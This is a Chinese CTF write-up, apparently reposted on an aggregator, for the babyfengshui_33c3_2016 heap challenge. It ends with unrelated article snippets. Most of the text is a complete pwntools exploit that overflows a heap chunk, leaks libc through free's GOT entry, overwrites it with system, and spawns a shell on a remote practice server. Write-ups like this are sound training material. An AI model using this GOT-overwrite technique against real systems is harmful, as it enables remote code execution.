babyfengshui_33c3_2016 -- house of spirit

2024-01-16 11:59

本文主要是介绍babyfengshui_33c3_2016 -- house of spirit,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本题主要就是看懂一条判断溢出的if语句

在这里插入图片描述

结构体是怎么看出来的

  • 代码上看

    在这里插入图片描述

    struct{char *text;char name[124];
    }	
    
  • 从内存上看

    在这里插入图片描述

思路

在这里插入图片描述

step4 的关于408哪里来的

  • 看内存地址,计算chunk3的content到chunk1的struct即可

在这里插入图片描述

在这里插入图片描述

exp

from pwn import *
p = remote('node3.buuoj.cn',29853)
#p = process('./babyfengshui_33c3_2016')
context.log_level = 'debug'
elf = ELF('./babyfengshui_33c3_2016')
def add(size,name,length,text):p.sendlineafter('Action: ',str(0))p.sendlineafter('size of description: ',str(size))p.sendlineafter('name: ',name)p.sendlineafter('text length: ',str(length))p.sendlineafter('text: ',text)def free(index):p.sendlineafter('Action: ',str(1))p.sendlineafter('index: ',str(index))
def update(index,length,text):p.sendlineafter('Action: ',str(3))p.sendlineafter('index: ',str(index))p.sendlineafter('text length: ',str(length))p.sendlineafter('text: ',text)
def show(index):p.sendlineafter('Action: ',str(2))p.sendlineafter('index: ',str(index))
#step1 创建三个chunk
add(0x80,'huzai',0x78,'aaa')
add(0x80,'huzai',0x78,'ccc')
add(0x80,'huzai',0x78,'/bin/sh\x00')
#step2 free chunk0
free(0)
#step3 新申请一个大的chunk
add(0x100,'hzuai222',0x98,'dddd')
#step4 修改chunk3 的内容,溢出到chunk1 的struct,修改node1的content指针位free_got
update(3,0x200,b'a'*408+p32(elf.got['free']))
#step5 show chunk1泄露free的got地址,计算出libc_base
show(1)
from LibcSearcher import *
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
#step6 修改free_got 为 system,编辑chunk2的content为/bin/sh\x00
update(1,0x4,p32(system_addr))
#step7 释放chunk2
free(2)
p.interactive()

这篇关于babyfengshui_33c3_2016 -- house of spirit的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/612525

相关文章

实践课堂|2016成都站|报名开始啦!

Hi,QingCloud 的小伙伴们,欢迎参加史上最有营养的云知识讲堂。 QingCloud 实践课堂系列开始于 2014 年末,在深圳、上海、广州、成都、杭州、北京六个城市,QingCloud 的研发工程师们同近千名 CIO 、架构师、开发者、运维工程师……分享了 QingCloud 的技术理念、功能特性和使用技巧,还有来自人民网、融云、泰捷视频、杏树林、友好速搭、百姓网、冰点、顺丰速运、洋葱

[LeetCode] 213. House Robber II

题:https://leetcode.com/problems/house-robber-ii/description/ 题目 You are a professional robber planning to rob houses along a street. Each house has a certain amount of money stashed. All houses at t

Sui Hacker House曼谷站报名开启:在Devcon 2024期间探索Sui区块链创新

Sui 曼谷 Hacker House 报名开启 Sui Bangkok Hacker House 将在曼谷于 2024 年 11 月 4 日至 17 日举办。诚邀开发者深入学习 Move 语言,在 Sui 网络上构建 MVP ,在充满活力的曼谷中度过难忘的两周。 诚挚地邀请开发者加入为期两周的 Sui Bangkok Hacker House。 你将与其他开发者一起学习 Move 语言

2016/9/11--一周的工作总结

自从九月一号开始上班到现在,现在总结一下自己的问题: 第一个问题:自己没有认真的解决问题! 刚去的第二天,施工给我了一张图纸,让我对电路图进行分析,我刚开始查了一些资料,也看了看但是一直不会做,后边就放一边了也不管了,自己一直说实习学不到东西,但是真正的问题来的时候,是否全力以赴的解决问题?这个问题你真的尽全力去解决了吗?回答是:不,我没有。我还不如一个本科的学生,我一直在逃避,一直没有

日记 01/27/2016.

有机会再看看这个: https://www.zhihu.com/question/27578379 想拿高package,多去拿几个offer再来谈,特别是hot startup的package,往往拿来要挟大公司的HR很好用。 最近在学习Angular JS,自己一定要坚持下来。然后把前端的知识补上。 打算Aug的时候,然后把Princeton的算法课上了,重新充电,然后把

2016年末程序员应该知道的基本架构思想

http://www.toutiao.com/i6352598153379709442/?tt_from=mobile_qq&utm_campaign=client_share&app=news_article&utm_source=mobile_qq&iid=6176041275&utm_medium=toutiao_ios

高教社杯数模竞赛特辑论文篇-2016年C题:电池剩余放电时间预测(附MATLAB代码实现)

目录 摘要 一、 问题重述 1.1 已知铅酸电池的基本情况与要求 1.2 需要解决的问题 1.2.1 问题 1 需要解决以下三点: 1.2.2 需要解决以下三点: 1.2.3 问题3需要解决: 二、问题分析 2.1 问题1 2.2 问题 2 2.3 问题3 三、模型假设与约定 四、符号说明及名词定义 五、模型的建立与求解 5.1 问题一的分析与求解 5.2 问题二的分析与求解 5.3 问题三的分

蘑菇街2016研发工程师编程题--回文串

题目 给定一个字符串,问是否能通过添加一个字母将其变为回文串。 输入描述: 一行一个由小写字母构成的字符串,字符串长度小于等于10。 输出描述: 输出答案(YES\NO). 示例1 输入 coco 输出 YES 解法1 使用动态规划,先看一下回文串的性质,如果一个字符串为回文串,那么翻转这个字符串以后跟原来的子串相同如下: 根据题目如果加一个字符就能使字符串成为回文串

网易2016研发工程师编程题--完全解析

前言 之前做公司的真题,碰到动态规划,还有一些数学性质的题目比较多一点。网易2016研发工程师编程题跟之前做的题目有很大的不同,不仅涉及到二叉树的编码,还涉及到图的广度遍历,最后还有一个快排。可以说这次的三个题目含金量非常的高,因此做了一下总结和分析。 1.比较重量 题目描述:小明陪小红去看钻石,他们从一堆钻石中随机抽取两颗并比较她们的重量。这些钻石的重量各不相同。在他们们比较了一段时间

mysql 与java 转换格式化格林威治时间(Tue Sep 13 00:00:00 CST 2016)两种方式

1  mysql 中处理 SELECT STR_TO_DATE('Thu Jul 20 15:04:03  2017','%a %b %e %T %Y %Y %Y') from dual ;   STR_TO_DATE(REPLACE('Tue Sep 13 00:00:00 CST 2016', '00:00:00 CST ', '') ,'%a %b %e %Y %Y %Y') 2 ja